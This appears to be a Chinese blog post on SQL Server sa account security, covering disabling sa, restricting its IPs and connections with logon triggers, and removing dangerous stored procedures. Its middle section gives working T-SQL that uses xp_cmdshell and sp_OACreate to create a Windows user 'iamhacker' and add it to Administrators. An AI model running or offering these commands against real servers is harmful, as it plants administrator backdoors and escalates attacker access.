zoukankan      html  css  js  c++  java
  • sa安全

    --禁用,启用sa 
    ALTER   LOGIN   [sa]   DISABLE 
     
    ALTER   LOGIN   [sa]   ENABLE 
     
    --sa改密码 
    EXEC   sp_password   NULL,   '123456',   'Sa ' 
     
     
     
    --sa添加Windows管理员权限 
     
    ----------------------------------------------------------------------------------------------------- 
    --1.不用sp_cmdshell,sp_OACreate 
    sp_configure 'show advanced options', 1
    GO 
    RECONFIGURE; 
    GO 
    sp_configure 'Ole Automation Procedures', 1
    GO 
    RECONFIGURE; 
    GO 
     
     
    DECLARE @object INT 
    --创建WScript.Shell 
    EXEC sp_OACreate 'WScript.Shell', @object OUT 
    --运行net user iamhacker opendoor /add 
    --添加一个名字为iamhacker,密码为opendoor的用户 
    EXEC sp_OAMethod @object, 'Run', NULL, 'net user iamhacker opendoor /add' 
    --把iamhacker添加到Administrators组中 
    EXEC sp_OAMethod @object, 'Run', NULL, 'net localgroup Administrators iamhacker /add' 
    --查看账户 
    EXEC xp_cmdshell 'net user '; 
    --把iamhacker从User组中删除 
    EXEC sp_OAMethod @object, 'Run', NULL, 'net user iamhacker /del' 
     
     
    /* 
    DECLARE @object INT 
    --创建WScript.Shell 
    EXEC sp_OACreate 'WScript.Shell', @object OUT 
    --把iamhacker从User组中删除 
     
    EXEC sp_OAMethod @object, 'Run', NULL, 'net user iamhacker /del' 
    */ 
    sp_configure 'show advanced options', 1
    GO 
    RECONFIGURE; 
    GO 
    sp_configure 'Ole Automation Procedures', 1
    GO 
    RECONFIGURE; 
    GO 
     
    --2.sp_cmdshell 
    use master 
    EXEC sp_configure 'show advanced options', 1 
    GO 
    RECONFIGURE 
    GO 
    EXEC sp_configure 'xp_cmdshell', 1 
    GO 
    RECONFIGURE 
    GO 
    --测试是否有xp_cmdshell的权限,如果列出数据,说明有权限 
    exec xp_cmdshell 'dir c:' 
    go 
     
    --添加windows用户: 
    EXEC xp_cmdshell 'net user ghd /add'; 
    --设置好密码: 
    EXEC xp_cmdshell 'net user ghd password'; 
    --提升到管理员: 
    EXEC xp_cmdshell 'net localgroup administrators ghd /add'; 
    --查看账户 
    EXEC xp_cmdshell 'net user '; 
    --删除windows用户: 
    EXEC xp_cmdshell 'net user ghd /delete'; 
     
     
    EXEC sp_configure 'show advanced options', 1 
    GO 
    RECONFIGURE 
    GO 
    EXEC sp_configure 'xp_cmdshell', 0 
    GO 
    RECONFIGURE 
     
     
     
     
     
     
     
    --存储过程安全注意的 
    /* 
    把危险的和不必要的存储过程删除, 
    xp_cmdshell,很危险的一个存储过程,能够执行dos命令,可 以通过下述SQL语句 
    use master 
    sp_dropextendedproc ‘xp_cmdshell‘ 
    不过依然可以通 过sp_addextendedproc来恢复,因此最好删除或改名xplog70.dll(sql server 2000) 
    xpsql70.dll(sql serer 7.0) 
    以下存储过程也很危险 
    xp_fileexist,用来确定一个文件是否存在。 xp_getfiledetails,可以获得文件详细资料。 
    xp_dirtree,可以展开你需要了解的目录,获得所有目录深度。 Xp_getnetname,可以获得 
    服务器名称。 
    去掉不需要的注册表访问的存储过程,如下: 
    Xp_regaddmultistring Xp_regdeletekey Xp_regdeletevalue Xp_regenumvalues 
    Xp_regread Xp_regremovemultistring Xp_regwrite 
    如果你不需要请丢弃OLE自动存储过程,这些过程包括如下: 
    Sp_OACreate Sp_OADestroy Sp_OAGetErrorInfo Sp_OAGetProperty 
    Sp_OAMethod Sp_OASetProperty Sp_OAStop 
     
    */ 
     
    --权限解释 
    /* 
    -------------------------------- 
     
    SQL Server的用户及权限  
    sysadmin 可以在 SQL Server 中执行任何活动  
    serveradmin 可以设置服务器范围的配置选项 关闭服务器  
    setupadmin 可以管理链接服务器和启动过程  
    securityadmin 可以管理登录和 CREATE DATABASE 权限 还可以读取错误日志和更改密码  
    processadmin 可以管理在 SQL Server 中运行的进程  
    dbcreator 可以创建 更改和除去数据库  
    diskadmin 可以管理磁盘文件  
    bulkadmin 可以执行 BULK INSERT 语句  
     
    固定数据库角色 描述  
    db_owner 在数据库中有全部权限  
    db_accessadmin 可以添加或删除用户ID  
    db_securityadmin 可以管理全部权限 对象所有权 角色和角色成员资格  
    db_ddladmin 可以发出ALL DDL但不能发出GRANT REVOK或DENY语句  
    db_backupoperator 可以发出DBCC CHECKPOINT和BACKUP 语句  
    db_datareader 可以选择数据库内任何用户表中的所有数据  
    db_datawriter 可以更改数据库内任何用户表中的所有数据  
    db_denydatareader 不能选择数据库内任何用户表中的任何数据  
    db_denydatawriter 不能更改数据库内任何用户表中的任何数据  
    */ 
    ------------------------------------------------------------------------------------------------------ 
     
    --sa指定IP登录 
     
    如果连接的ip不是指定ip,则rollback 
    CREATE TRIGGER connection_limit_trigger 
    ON ALL SERVER  
    FOR LOGON 
    AS 
    BEGIN 
     declare @ip nvarchar(max
     declare @loginName nvarchar(max
     SELECT @ip=EVENTDATA().value 
            ('(/EVENT_INSTANCE/ClientHost)[1]','nvarchar(max)') 
        SELECT @loginName=EVENTDATA().value 
            ('(/EVENT_INSTANCE/LoginName)[1]','nvarchar(max)') 
        if @loginName='sa' and @ip<>'127.0.0.1'--replaced with your ip 
          rollback 
    END
     
     
     
    --------------------------------------------------------------------------------- 
     
      
     
    --限制sa连接数 
    CREATE TRIGGER login_limit_trigger ON ALL SERVER 
        FOR LOGON 
    AS 
        BEGIN 
            DECLARE @loginN NVARCHAR(MAX
            SELECT  @loginN = COUNT(0
            FROM    sysprocesses 
            WHERE   loginame = 'sa' 
            IF @loginN >= 30   --30连接 
                ROLLBACK 
        END ; 
     
    --查看当前用户 
    USE master 
      
    SELECT  loginame , 
            COUNT(0
    FROM    sysprocesses 
     GROUP BY loginame 
    ORDER BY COUNT(0) DESC 
     
     
      
  • 相关阅读:
    [HAOI2015][bzoj 4033]树上染色(树dp+复杂度分析)
    20190716NOIP模拟赛T1 礼物(概率dp+状压)
    20190716NOIP模拟赛T2 通讯(tarjan缩点+贪心)
    延迟载入Dll(动态载入Dll)
    Dll重定向(尚存否?)
    delete和delete[] 区别
    06 序列号保护 学习分析(字符串)
    05 初识加壳脱壳
    04 复制删除行为IDA反汇编
    03 复制行为动态分析
  • 原文地址:https://www.cnblogs.com/qanholas/p/1867046.html
Copyright © 2011-2022 走看看